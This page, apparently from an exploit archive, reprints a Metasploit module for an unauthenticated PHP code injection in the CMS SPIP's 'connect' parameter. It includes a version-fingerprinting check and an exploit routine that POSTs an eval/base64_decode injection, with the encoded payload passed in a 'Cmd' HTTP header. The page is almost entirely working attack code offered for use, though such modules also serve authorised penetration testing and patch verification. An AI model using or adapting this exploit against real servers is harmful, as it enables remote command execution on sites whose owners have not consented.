SPIP Connect Parameter PHP Injection

2013.08.29
Credit: Davy Douhine
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'SPIP connect Parameter PHP Injection', 'Description' => %q{ This module exploits a PHP code injection in SPIP. The vulnerability exists in the connect parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu and Fedora linux distributions. }, 'Author' => [ 'Arnaud Pachot', #Initial discovery 'Frederic Cikala', # PoC 'Davy Douhine' # PoC and MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '83543' ], [ 'BID', '54292' ], [ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 04 2012')) register_options( [ OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']), ], self.class) end def check version = nil uri = normalize_uri(target_uri.path, "spip.php") res = send_request_cgi({ 'uri' => "#{uri}" }) if res and res.code == 200 and res.body =~ /<meta name="generator" content="SPIP (.*) \[/ version = $1 end if version.nil? and res.code == 200 and res.headers["Composed-By"] =~ /SPIP (.*) @/ version = $1 end if version.nil? return Exploit::CheckCode::Unknown end vprint_status("SPIP Version detected: #{version}") if version =~ /^2\.0/ and version < "2.0.21" return Exploit::CheckCode::Vulnerable elsif version =~ /^2\.1/ and version < "2.1.16" return Exploit::CheckCode::Appears elsif version =~ /^3\.0/ and version < "3.0.3" return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit uri = normalize_uri(target_uri.path, 'spip.php') print_status("#{rhost}:#{rport} - Attempting to exploit...") res = send_request_cgi( { 'uri' => uri, 'method' => 'POST', 'vars_post' => { 'connect' => "?><? eval(base64_decode($_SERVER[HTTP_CMD])); ?>", }, 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } }) end end

References:

http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la


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